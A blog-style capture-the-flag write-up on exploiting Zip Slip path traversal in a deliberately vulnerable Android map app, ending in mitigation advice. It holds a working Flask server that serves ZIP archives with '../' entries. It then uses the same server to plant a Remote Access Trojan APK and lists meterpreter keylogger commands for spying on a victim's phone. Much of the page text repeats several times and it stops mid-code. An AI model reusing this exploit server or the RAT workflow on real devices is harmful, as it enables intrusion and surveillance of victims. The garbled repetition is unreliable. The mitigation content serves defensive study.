What is ZIP SLIP Vulnerability? Zip Slip is a serious vulnerability that is widespread in the archive extraction process, allowing attackers to write any file to the system. Typically, this results in RCE (Remote Code Execution). The vulnerability was discovered and responsibly disclosed by the Snyk Security team before it was made public on June 5, 2018. The issue affects thousands of projects, including those owned by major companies such as HP, Amazon, Apache, Pivotal, and many more. Zip Slip is exploited through specially crafted archives with filenames that include directory traversal (e.g., ../../evil.sh). This vulnerability can occur in many archive formats, such as tar, ghz, jar, war, cpio, apk, rar, and 7z. The core of this vulnerability is directory traversal, where an attacker can access parts of the system files outside the target folder. The attacker can then override the executable file and run it remotely, or wait for the system or user to call the file, so they can run commands on the victim's machine. In addition, this vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited both on the user's machine and on the server. How To Exploit ZIP Slip This time to learn how to exploit ZIP Slip Vulnerability using an android application that is deliberately vulnerable made for this practicum. This is an application like Google Maps but to add local maps we have to download the resource by clicking the + button on the screen. But before we analyze Flow from how this apk works we have to use the Burpsuite apk. For those who don't know Burpsuite apk is an application used to test the security of web and mobile applications. This tool works to detect vulnerabilities, analyze and resolve security issues. You can download the tools by clicking the link below: https://portswigger.net/burp/communitydownload Objective Labs APK Android To solve this lab, use network interception to force the creation of the hax file in the downloads folder: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads/hax Which is where the unzipped file is located in /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps Vulnerability Analysis Stage Here are the Intercept results when we want to add the maps, and it can be analysed that this apk is vulnerable because the API request still uses the HTTP protocol not using HTTPS which allows the Attacker not only to see the traffic sent and received, but also to manipulate/modify the request and response in Cleartext. And the fact that when still using HTTP can open up the entire attack surface area, for example the type of attack we are making. It can also be seen using JADX tools to perform reverse engineering where we can perform static analysis on an application allowing attackers to understand the structure and logic of the application. After being analysed in the network_security_config.xml application creates configuration cleartextTrafficPermitted="true". So this configuration allows clear text traffic on every request for permitted domains. But is this domain actually used for the CleartextTraffic. It could be that this is made only for testing / not used in production. This is the intercept result when we download the maps where he takes a ZIP file with the .ghz format And tried to download the .ghz file manually by copying it on the laptop. Here are the contents of the ZIP file. To find out the location of the data unzipped by the application, we can use the command find / | grep australia oceania_nauru.mapin the adb shell mobile emulator and also make sure that we already have root access in the emulator. It can be seen that the unzipped file path is in : /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/ It also shows us that the app actually unzipped the map file. Let's take a closer look at the arbitrary file write Vulnerability in the application, as we already know the issue is related to ZIP File Maps Handling. Do another static analysis by searching for keywords: ZipEntry to know which code class handles the ZIP map file. Before we analyse the code, I'll follow the snyk team's guide to look for frequently implemented but vulnerable code. Here is one guide that is specific to the java language, you can read more: https://github.com/snyk/zip-slip-vulnerability Explanation: The following code is vulnerable to a zip slip attack because it does not perform sufficient validation of the file paths in the zip archive before extracting it. Here e.getName() can return filenames with dangerous relative paths, such as ../../malicious.sh. This means that the file can be extracted outside of the destinationDir yang ditentukan. After the file is created, the contents of the file are directly copied without checking the output path whether it is safe or not. If the path goes to a dangerous location, such as the system root directory or other folders that should not be accessible to applications, it can be very dangerous. Since we already know the vulnerable code according to the guide, let's analyse the code in the apk: Path Generation Without Validation: String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName(); Di sini, jalur file (str3) dibuat dengan menggabungkan path dari direktori tujuan (file.getAbsolutePath()) dengan nama entry zip (nextEntry.getName()). Namun, nextEntry.getName() bisa berisi elemen path berbahaya seperti ../../, yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud (file). Setelah path dibuat, file atau direktori dibuat langsung: if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); } Ini membuat atau menulis file tanpa memastikan bahwa str3 adalah jalur yang aman. Exploitation Stage For this stage, I prepared 2 things for the attack environment: Setup Dynamic HTTP Mocking Environment: burpsuite's HTTP Mock extension can change the original response of the application by matching the rules that we have sent from http history or manual input. In the example below, I changed the response by selecting Redirect to URL, so that every application response in real time will take a response from HTTP Mock. And what is manipulated is Request and Response from .json and .ghz when downloading maps, here's how to add to the HTTP Mock extension. Here are the Mock rules Every incoming request is checked against these rules. If the request matches these rules, the response will be overwritten. And we change the Response of the rules request to Redirect to URL to send the request to another web server, this gives us extreme flexibility. So when we request data .json and .ghz maps will redirect to this url (Web Server Malicious ☠). 2. Setup Local Server Environment: Because every request from the rule we matched redirects to the malicious local server so we made it for the malicious zip: from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"} ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): file = "../../downloads/hax" content = "youhavebeenhacked" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr(file, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234) Here I created 2 routes, one /map.json to respond to json maps requests and one more /map.ghz to download malicious zip maps. It can be seen that the request is now to the malicious server. and we will try to download the maps whether it succeeds in traversing the path to the previous location objective. When I downloaded the maps, I immediately got the flag: HXT{zip-path-traversal-1sg17) Before: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps After: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads Let's check if the hax file really did path traversal, and sure enough, the file is already in a location that should not be unzipped. Note: For Educational Purposes Only !!!!! Before we escalate to RCE, let's get to know what RCE is. Remote Code Execution Remote code execution is a cyber-attack whereby an attacker can remotely execute commands on someone else’s computing device. Remote code executions (RCEs) usually occur due to malicious malware downloaded by the host and can happen regardless of the device’s geographic location. Remote Code Execution (RCE) is also referred to as Remote Code Evaluation. A remote code execution vulnerability is a broad category of cyber attack technique. It allows a threat actor to execute this remote code on a target machine across the internet, wide area network (WAN), or local area network (LAN). For example, a threat actor in Ukraine could silently place malicious code on a targeted device in the United States. Additionally, RCE enables a threat actor to control a computer or server through arbitrary code execution with malicious software. RCE can, of course, lead to the complete takeover of a targeted vulnerable application. Remote code execution attack types Injection-based attacks SQL injection (SQLi) – Exploits improperly sanitized inputs to execute arbitrary SQL queries. Command injection – Inserts malicious commands into input fields that are executed on the server’s shell. Cross-site scripting (XSS) – Injects malicious scripts into web pages viewed by other users. NoSQL injection – Exploits vulnerabilities in NoSQL databases like MongoDB. LDAP injection – Exploits vulnerabilities in LDAP queries to manipulate directory services. Deserialization attacks Unsafe deserialization – Exploits deserialization of untrusted data to execute code. File-related exploits Local file inclusion (LFI) – Forces the server to execute files from its filesystem. Remote file inclusion (RFI) – Includes and executes remote scripts on the server. Scripting and runtime vulnerabilities Template injection – Exploits vulnerabilities in template engines to execute arbitrary code. PHP object injection – Targets PHP applications to exploit unserialized data and execute code. Protocol exploits XXE (XML External Entity) – Exploits vulnerabilities in XML parsers to include and execute external files. Server-side request forgery (SSRF) – Tricks the server into making requests to internal systems or executing commands. Memory exploits Buffer overflow – Overwrites memory to execute arbitrary code. Heap spray – Fills memory with malicious code to trigger execution. Return-oriented programming (ROP) – Chains instructions from existing code to execute malicious payloads. Web application framework exploits Shell injection – Injects code to invoke a shell interpreter for command execution. Cross-site request forgery (CSRF) – Inderectly triggers state-changing commands without user consent. JavaScript Injection – Executes unauthorized JavaScript, often leading to RCE. Network protocol exploits DNS rebinding – Exploits the browser’s handling of DNS to attack local servers. SMTP injection – Exploits mail servers by injecting commands in SMTP headers. Advanced attack vectors Path traversal – Navigates directories to execute unauthorized files. Library hijacking – Replaces dynamic libraries with malicious ones to execute code. Code injection in configurations – Targets configuration files to embed executable code. JNDI injection (Java naming and directory interface) – Exploits Java naming services to execute malicious code. Memory corruption exploits – Manipulates memory to execute arbitrary code, often in unmanaged languages like C/C++. Other code execution vulnerabilities API misuse – Exploits poorly protected APIs to run unauthorized actions or commands. Dynamic evaluation attacks – Misuses functions like eval() to execute injected code. Web shells – Uploads malicious scripts to gain persistent command execution. Objection injection in applications – Injects serialized objects to exploit poorly designed handlers. Exploitation of misconfigured tools – Leverages misconfigured platforms (e.g., Kubernetes, Jenkins) to execute arbitrary code. Escalation to RCE Attack After knowing what RCE is, in this lab practice I made an RCE attack with the Advanced attack vectors type in the Path traversal section through an apk that is Vulnerable to path traversal. Here I have prepared a Malware apk and the types of malware are Remote Access Trojans (RAT) are malware that gives the attacker direct interactive access to the victim's personal computer, allowing the attacker to steal personal data from the computer. The process of spying on victims in real-time using cameras and microphones and interacting directly with victims through dialogue. RATs are the opening door before Hijacker and Ransomware attacks in the most severe cases. So I changed the code for Malicious Web Server: @app.route('/map.ghz') def map_archive(): file = "rce.apk" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.write(file, "../../../../../../../../../../../sdcard/Download/rce.apk") zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) Explanation: zip_file.writestr vs. zip_file.write: zip_file.writestr is used to write string content directly into a file inside a ZIP. If this is used, the defined content (in the form of a string) will be the contents of the file, without retrieving the content from an existing file on the disc. zip_file.write is used to put files from the local file system (such as RAT APK files) into a ZIP. It reads the contents of the file on the disc and saves it into a ZIP file. And re-download the maps, and check if the malware is saved in the download. You can see that the malware file is already in Download, Note: in my RCE case, the malware file is not automatically installed, so the flow is waiting for the target to open the malware file and install it. The target installs the malware apk The target is prompted to allow all access, if the victim chooses continue... This is the Attacker's computer doing a listener, and when the victim chooses continue, the attacker automatically gets a shell from the victim's mobile phone, And RCE did it !!!. This output will provide details such as OS name, version, and device architecture. It can also retrieve all messages from the victim's device. Take all photos from the victim's device. And it was true that the photo from the victim's mobile phone had been taken. Display the list of cameras available on the target device. and Take a photo from the selected camera. Records audio from the target microphone for a specified duration (in seconds). Retrieve the location of the device. keyscan_startMemulai keylogger untuk menangkap input keyboard. bashCopyEditmeterpreter > keyscan_start keyscan_dumpMelihat hasil tangkapan dari keylogger. bashCopyEditmeterpreter > keyscan_dump keyscan_stopMenghentikan keylogger. bashCopyEditmeterpreter > keyscan_stop And other orders. How to Mitigate API should use SSL / HTTPS instead It is recommended to sanitize the zip entry names so they cannot include path traversal: Example Vulnerable code: Enumeration<ZipEntry> entries = zip.getEntries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); File f = new File(destinationDir, e.getName()); InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f)); } As discussed above the following code is vulnerable to a zip slip attack because it does not perform sufficient validation of the file paths in the zip archive before extracting it. Here e.getName() can return filenames with dangerous relative paths, such as ../../malicious.sh. This means that the file can be extracted outside of the destinationDir yang ditentukan. Example Validation Code: String canonicalDestinationDirPath = destinationDir.getCanonicalPath(); File destinationfile = new File(destinationDir, e.getName()); String canonicalDestinationFile = destinationfile.getCanonicalPath(); if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) { throw new ArchiverException("Entry is outside of the target dir: " + e.getName()); } Explanation of mitigation measures: Using getCanonicalPath(): getCanonicalPath() returns the absolute path of the file, which removes the relative symbols and ensures the received path is the correct path (without traversal). This code is used to get the absolute path of the destination directory (destinationDir) and destination file (destinationfile) to ensure no path traversal attempts occur. Checks whether the destination file is in a valid directory:destinationfile.getCanonicalPath() is used to get the absolute path of the file to be extracted. startsWith(canonicalDestinationDirPath + File.separator) ensures that the extracted files only reside within the legitimate destination directory. If the destination file is outside of the legitimate directory (for example, using path traversal to write a file outside of the destination directory), then this check will fail.' Throw an exception: If the destination file is outside the authorised directory (for example, trying to write outside the destination directory using the ../../, then this code will throw ArchiverException with an error message indicating that the entry is outside the desired destination directory. Conclusion Cleartext traffic / http can cause Zip path traversal where the attacker can perform MITM Attack and manipulate data. The Zip Slip (Path Traversal) vulnerability exploited in this article shows how insecure applications handling compressed files can be exploited by attackers. In this scenario, a malicious ZIP file is hosted on a server and manipulated using HTTP Mock to direct the target application to extract the APK file to a specific directory on the victim's device. While these exploits capitalise on technical weaknesses, the important element is user interaction. The successful APK file is placed in the directory /sdcard/Download/ relies on the user to manually install, which can then run malicious code such as Remote Access Trojan (RAT) to give full control to the attacker, thus creating a scenario of Remote Code Execution (RCE). This article also highlights: Exploitation Validation: This exploit combines Path Traversal and social engineering techniques to succeed. Linkage to CVE: This kind of vulnerability has similarities with documented CVEs such as CVE-2018-1002201, which underlines the importance of secure compressed file management. Mitigation: Application developers should pay attention to file path sanitisation when handling ZIP files and avoid writing files to unwanted paths. Through this exploit, we learnt that even simple actions like extracting a ZIP file require additional security measures to prevent further exploitation. This kind of vulnerability shows that cybersecurity is not just about preventing technical exploits, but also about understanding how user interactions can be manipulated by attackers. Reference ZIP Slip: https://developer.android.com/privacy-and-security/risks/zip-path-traversal#java https://security.snyk.io/research/zip-slip-vulnerability CVE: https://nvd.nist.gov/vuln/detail/CVE-2018-1002201 RCE: https://www.bugcrowd.com/glossary/remote-code-execution-rce/ What is ZIP SLIP Vulnerability? What is ZIP SLIP Vulnerability? Zip Slip is a serious vulnerability that is widespread in the archive extraction process, allowing attackers to write any file to the system. Typically, this results in RCE (Remote Code Execution) . The vulnerability was discovered and responsibly disclosed by the Snyk Security team before it was made public on June 5, 2018. The issue affects thousands of projects, including those owned by major companies such as HP, Amazon, Apache, Pivotal, and many more. RCE (Remote Code Execution) Zip Slip is exploited through specially crafted archives with filenames that include directory traversal (e.g., ../../evil.sh) . This vulnerability can occur in many archive formats, such as tar, ghz, jar, war, cpio, apk, rar, and 7z. (e.g., ../../evil.sh) The core of this vulnerability is directory traversal, where an attacker can access parts of the system files outside the target folder. The attacker can then override the executable file and run it remotely, or wait for the system or user to call the file, so they can run commands on the victim's machine. In addition, this vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited both on the user's machine and on the server. How To Exploit ZIP Slip This time to learn how to exploit ZIP Slip Vulnerability using an android application that is deliberately vulnerable made for this practicum. This is an application like Google Maps but to add local maps we have to download the resource by clicking the + button on the screen. But before we analyze Flow from how this apk works we have to use the Burpsuite apk. For those who don't know Burpsuite apk is an application used to test the security of web and mobile applications. This tool works to detect vulnerabilities, analyze and resolve security issues. You can download the tools by clicking the link below: https://portswigger.net/burp/communitydownload https://portswigger.net/burp/communitydownload Objective Labs APK Android To solve this lab, use network interception to force the creation of the hax file in the downloads folder: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads/hax Which is where the unzipped file is located in /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps To solve this lab, use network interception to force the creation of the hax file in the downloads folder: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads/hax hax /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads/hax Which is where the unzipped file is located in /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps Vulnerability Analysis Stage Here are the Intercept results when we want to add the maps, and it can be analysed that this apk is vulnerable because the API request still uses the HTTP protocol not using HTTPS which allows the Attacker not only to see the traffic sent and received, but also to manipulate/modify the request and response in Cleartext. And the fact that when still using HTTP can open up the entire attack surface area, for example the type of attack we are making. It can also be seen using JADX tools to perform reverse engineering where we can perform static analysis on an application allowing attackers to understand the structure and logic of the application. After being analysed in the network_security_config.xml network_security_config.xml application creates configuration cleartextTrafficPermitted="true" . So this configuration allows clear text traffic on every request for permitted domains. But is this domain actually used for the CleartextTraffic. It could be that this is made only for testing / not used in production. cleartextTrafficPermitted="true" This is the intercept result when we download the maps where he takes a ZIP file with the .ghz format And tried to download the .ghz file manually by copying it on the laptop. Here are the contents of the ZIP file. To find out the location of the data unzipped by the application, we can use the command find / | grep australia oceania_nauru.map in the adb shell mobile emulator and also make sure that we already have root access in the emulator. It can be seen that the unzipped file path is in : find / | grep australia oceania_nauru.map /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/ /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/ It also shows us that the app actually unzipped the map file. Let's take a closer look at the arbitrary file write Vulnerability in the application, as we already know the issue is related to ZIP File Maps Handling. Do another static analysis by searching for keywords: ZipEntry to know which code class handles the ZIP map file. ZipEntry Before we analyse the code, I'll follow the snyk team's guide to look for frequently implemented but vulnerable code. Here is one guide that is specific to the java language, you can read more: https://github.com/snyk/zip-slip-vulnerability https://github.com/snyk/zip-slip-vulnerability Explanation: The following code is vulnerable to a zip slip attack because it does not perform sufficient validation of the file paths in the zip archive before extracting it. Here e.getName() e.getName() can return filenames with dangerous relative paths, such as ../../malicious.sh . This means that the file can be extracted outside of the destinationDir yang ditentukan. ../../malicious.sh destinationDir After the file is created, the contents of the file are directly copied without checking the output path whether it is safe or not. If the path goes to a dangerous location, such as the system root directory or other folders that should not be accessible to applications, it can be very dangerous. Since we already know the vulnerable code according to the guide, let's analyse the code in the apk: Path Generation Without Validation: Path Generation Without Validation: String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName(); Di sini, jalur file ( str3 ) dibuat dengan menggabungkan path dari direktori tujuan ( file.getAbsolutePath() ) dengan nama entry zip ( nextEntry.getName() ). Namun, nextEntry.getName() bisa berisi elemen path berbahaya seperti ../../ , yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( file ). str3 file.getAbsolutePath() nextEntry.getName() nextEntry.getName() ../../ file Setelah path dibuat, file atau direktori dibuat langsung: if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); } Ini membuat atau menulis file tanpa memastikan bahwa str3 adalah jalur yang aman. str3 Exploitation Stage For this stage, I prepared 2 things for the attack environment: Setup Dynamic HTTP Mocking Environment: burpsuite's HTTP Mock extension can change the original response of the application by matching the rules that we have sent from http history or manual input. In the example below, I changed the response by selecting Redirect to URL, so that every application response in real time will take a response from HTTP Mock. Setup Dynamic HTTP Mocking Environment : burpsuite's HTTP Mock extension can change the original response of the application by matching the rules that we have sent from http history or manual input . In the example below, I changed the response by selecting Redirect to URL, so that every application response in real time will take a response from HTTP Mock. Setup Dynamic HTTP Mocking Environment http history manual input And what is manipulated is Request and Response from .json and .ghz when downloading maps, here's how to add to the HTTP Mock extension. Here are the Mock rules Every incoming request is checked against these rules. If the request matches these rules, the response will be overwritten. And we change the Response of the rules request to Redirect to URL to send the request to another web server, this gives us extreme flexibility. So when we request data .json and .ghz maps will redirect to this url (Web Server Malicious ☠). .json .ghz 2. Setup Local Server Environment : Because every request from the rule we matched redirects to the malicious local server so we made it for the malicious zip: Setup Local Server Environment from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"} ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): file = "../../downloads/hax" content = "youhavebeenhacked" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr(file, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234) from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"} ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): file = "../../downloads/hax" content = "youhavebeenhacked" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr(file, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234) Here I created 2 routes, one /map.json to respond to json maps requests and one more /map.ghz to download malicious zip maps. /map.json /map.ghz It can be seen that the request is now to the malicious server. and we will try to download the maps whether it succeeds in traversing the path to the previous location objective. When I downloaded the maps, I immediately got the flag: HXT{zip-path-traversal-1sg17) HXT{zip-path-traversal-1sg17) Before: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps After: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads Let's check if the hax file really did path traversal, and sure enough, the file is already in a location that should not be unzipped. Note: For Educational Purposes Only !!!!! Note: For Educational Purposes Only !!!!! Note: For Educational Purposes Only !!!!! Before we escalate to RCE, let's get to know what RCE is. Before we escalate to RCE, let's get to know what RCE is. Remote Code Execution Remote code execution is a cyber-attack whereby an attacker can remotely execute commands on someone else’s computing device. Remote code executions (RCEs) usually occur due to malicious malware downloaded by the host and can happen regardless of the device’s geographic location. Remote Code Execution (RCE) is also referred to as Remote Code Evaluation. A remote code execution vulnerability is a broad category of cyber attack technique. It allows a threat actor to execute this remote code on a target machine across the internet, wide area network (WAN), or local area network (LAN). For example, a threat actor in Ukraine could silently place malicious code on a targeted device in the United States. Additionally, RCE enables a threat actor to control a computer or server through arbitrary code execution with malicious software. RCE can, of course, lead to the complete takeover of a targeted vulnerable application. Remote code execution attack types Injection-based attacks SQL injection (SQLi) – Exploits improperly sanitized inputs to execute arbitrary SQL queries. Command injection – Inserts malicious commands into input fields that are executed on the server’s shell. Cross-site scripting (XSS) – Injects malicious scripts into web pages viewed by other users. NoSQL injection – Exploits vulnerabilities in NoSQL databases like MongoDB. LDAP injection – Exploits vulnerabilities in LDAP queries to manipulate directory services. SQL injection (SQLi) – Exploits improperly sanitized inputs to execute arbitrary SQL queries. Command injection – Inserts malicious commands into input fields that are executed on the server’s shell. Cross-site scripting (XSS) – Injects malicious scripts into web pages viewed by other users. NoSQL injection – Exploits vulnerabilities in NoSQL databases like MongoDB. LDAP injection – Exploits vulnerabilities in LDAP queries to manipulate directory services. Deserialization attacks Unsafe deserialization – Exploits deserialization of untrusted data to execute code. Unsafe deserialization – Exploits deserialization of untrusted data to execute code. File-related exploits Local file inclusion (LFI) – Forces the server to execute files from its filesystem. Remote file inclusion (RFI) – Includes and executes remote scripts on the server. Local file inclusion (LFI) – Forces the server to execute files from its filesystem. Remote file inclusion (RFI) – Includes and executes remote scripts on the server. Scripting and runtime vulnerabilities Template injection – Exploits vulnerabilities in template engines to execute arbitrary code. PHP object injection – Targets PHP applications to exploit unserialized data and execute code. Template injection – Exploits vulnerabilities in template engines to execute arbitrary code. PHP object injection – Targets PHP applications to exploit unserialized data and execute code. Protocol exploits XXE (XML External Entity) – Exploits vulnerabilities in XML parsers to include and execute external files. Server-side request forgery (SSRF) – Tricks the server into making requests to internal systems or executing commands. XXE (XML External Entity) – Exploits vulnerabilities in XML parsers to include and execute external files. Server-side request forgery (SSRF) – Tricks the server into making requests to internal systems or executing commands. Memory exploits Buffer overflow – Overwrites memory to execute arbitrary code. Heap spray – Fills memory with malicious code to trigger execution. Return-oriented programming (ROP) – Chains instructions from existing code to execute malicious payloads. Buffer overflow – Overwrites memory to execute arbitrary code. Heap spray – Fills memory with malicious code to trigger execution. Return-oriented programming (ROP) – Chains instructions from existing code to execute malicious payloads. Web application framework exploits Shell injection – Injects code to invoke a shell interpreter for command execution. Cross-site request forgery (CSRF) – Inderectly triggers state-changing commands without user consent. JavaScript Injection – Executes unauthorized JavaScript, often leading to RCE. Shell injection – Injects code to invoke a shell interpreter for command execution. Cross-site request forgery (CSRF) – Inderectly triggers state-changing commands without user consent. JavaScript Injection – Executes unauthorized JavaScript, often leading to RCE. Network protocol exploits DNS rebinding – Exploits the browser’s handling of DNS to attack local servers. SMTP injection – Exploits mail servers by injecting commands in SMTP headers. DNS rebinding – Exploits the browser’s handling of DNS to attack local servers. SMTP injection – Exploits mail servers by injecting commands in SMTP headers. Advanced attack vectors Path traversal – Navigates directories to execute unauthorized files. Library hijacking – Replaces dynamic libraries with malicious ones to execute code. Code injection in configurations – Targets configuration files to embed executable code. JNDI injection (Java naming and directory interface) – Exploits Java naming services to execute malicious code. Memory corruption exploits – Manipulates memory to execute arbitrary code, often in unmanaged languages like C/C++. Path traversal – Navigates directories to execute unauthorized files. Library hijacking – Replaces dynamic libraries with malicious ones to execute code. Code injection in configurations – Targets configuration files to embed executable code. JNDI injection (Java naming and directory interface) – Exploits Java naming services to execute malicious code. Memory corruption exploits – Manipulates memory to execute arbitrary code, often in unmanaged languages like C/C++. Other code execution vulnerabilities API misuse – Exploits poorly protected APIs to run unauthorized actions or commands. Dynamic evaluation attacks – Misuses functions like eval() to execute injected code. Web shells – Uploads malicious scripts to gain persistent command execution. Objection injection in applications – Injects serialized objects to exploit poorly designed handlers. Exploitation of misconfigured tools – Leverages misconfigured platforms (e.g., Kubernetes, Jenkins) to execute arbitrary code. API misuse – Exploits poorly protected APIs to run unauthorized actions or commands. Dynamic evaluation attacks – Misuses functions like eval() to execute injected code. Web shells – Uploads malicious scripts to gain persistent command execution. Objection injection in applications – Injects serialized objects to exploit poorly designed handlers. Exploitation of misconfigured tools – Leverages misconfigured platforms (e.g., Kubernetes, Jenkins) to execute arbitrary code. Escalation to RCE Attack After knowing what RCE is, in this lab practice I made an RCE attack with the Advanced attack vectors type in the Path traversal section through an apk that is Vulnerable to path traversal. Here I have prepared a Malware apk and the types of malware are Remote Access Trojans (RAT) are malware that gives the attacker direct interactive access to the victim's personal computer, allowing the attacker to steal personal data from the computer. The process of spying on victims in real-time using cameras and microphones and interacting directly with victims through dialogue. RATs are the opening door before Hijacker and Ransomware attacks in the most severe cases. Remote Access Trojans (RAT) So I changed the code for Malicious Web Server: @app.route('/map.ghz') def map_archive(): file = "rce.apk" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.write(file, "../../../../../../../../../../../sdcard/Download/rce.apk") zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) @app.route('/map.ghz') def map_archive(): file = "rce.apk" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: zip_file.write(file, "../../../../../../../../../../../sdcard/Download/rce.apk") zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) Explanation: zip_file.writestr vs. zip_file.write : zip_file.writestr zip_file.write zip_file.writestr is used to write string content directly into a file inside a ZIP. If this is used, the defined content (in the form of a string) will be the contents of the file, without retrieving the content from an existing file on the disc. zip_file.write is used to put files from the local file system (such as RAT APK files) into a ZIP. It reads the contents of the file on the disc and saves it into a ZIP file. zip_file.writestr is used to write string content directly into a file inside a ZIP. If this is used, the defined content (in the form of a string) will be the contents of the file, without retrieving the content from an existing file on the disc. zip_file.writestr zip_file.write is used to put files from the local file system (such as RAT APK files) into a ZIP. It reads the contents of the file on the disc and saves it into a ZIP file. zip_file.write And re-download the maps, and check if the malware is saved in the download. You can see that the malware file is already in Download, Note: in my RCE case, the malware file is not automatically installed, so the flow is waiting for the target to open the malware file and install it. The target installs the malware apk The target is prompted to allow all access, if the victim chooses continue... This is the Attacker's computer doing a listener, and when the victim chooses continue, the attacker automatically gets a shell from the victim's mobile phone, And RCE did it !!!. And RCE did it !!!. This output will provide details such as OS name, version, and device architecture. It can also retrieve all messages from the victim's device. Take all photos from the victim's device. And it was true that the photo from the victim's mobile phone had been taken. Display the list of cameras available on the target device. and Take a photo from the selected camera. Records audio from the target microphone for a specified duration (in seconds). Retrieve the location of the device. keyscan_startMemulai keylogger untuk menangkap input keyboard. bashCopyEditmeterpreter > keyscan_start keyscan_dumpMelihat hasil tangkapan dari keylogger. bashCopyEditmeterpreter > keyscan_dump keyscan_stopMenghentikan keylogger. bashCopyEditmeterpreter > keyscan_stop keyscan_startMemulai keylogger untuk menangkap input keyboard. bashCopyEditmeterpreter > keyscan_start keyscan_start Memulai keylogger untuk menangkap input keyboard. keyscan_start bashCopyEditmeterpreter > keyscan_start bashCopyEditmeterpreter > keyscan_start keyscan_dumpMelihat hasil tangkapan dari keylogger. bashCopyEditmeterpreter > keyscan_dump keyscan_dump Melihat hasil tangkapan dari keylogger. keyscan_dump bashCopyEditmeterpreter > keyscan_dump bashCopyEditmeterpreter > keyscan_dump keyscan_stopMenghentikan keylogger. bashCopyEditmeterpreter > keyscan_stop keyscan_stop Menghentikan keylogger. keyscan_stop bashCopyEditmeterpreter > keyscan_stop bashCopyEditmeterpreter > keyscan_stop And other orders. How to Mitigate API should use SSL / HTTPS instead It is recommended to sanitize the zip entry names so they cannot include path traversal: API should use SSL / HTTPS instead API should use SSL / HTTPS instead API should use SSL / HTTPS instead It is recommended to sanitize the zip entry names so they cannot include path traversal: It is recommended to sanitize the zip entry names so they cannot include path traversal: It is recommended to sanitize the zip entry names so they cannot include path traversal: Example Vulnerable code: Example Vulnerable code: Enumeration<ZipEntry> entries = zip.getEntries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); File f = new File(destinationDir, e.getName()); InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f)); } Enumeration<ZipEntry> entries = zip.getEntries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); File f = new File(destinationDir, e.getName()); InputStream input = zip.getInputStream(e); 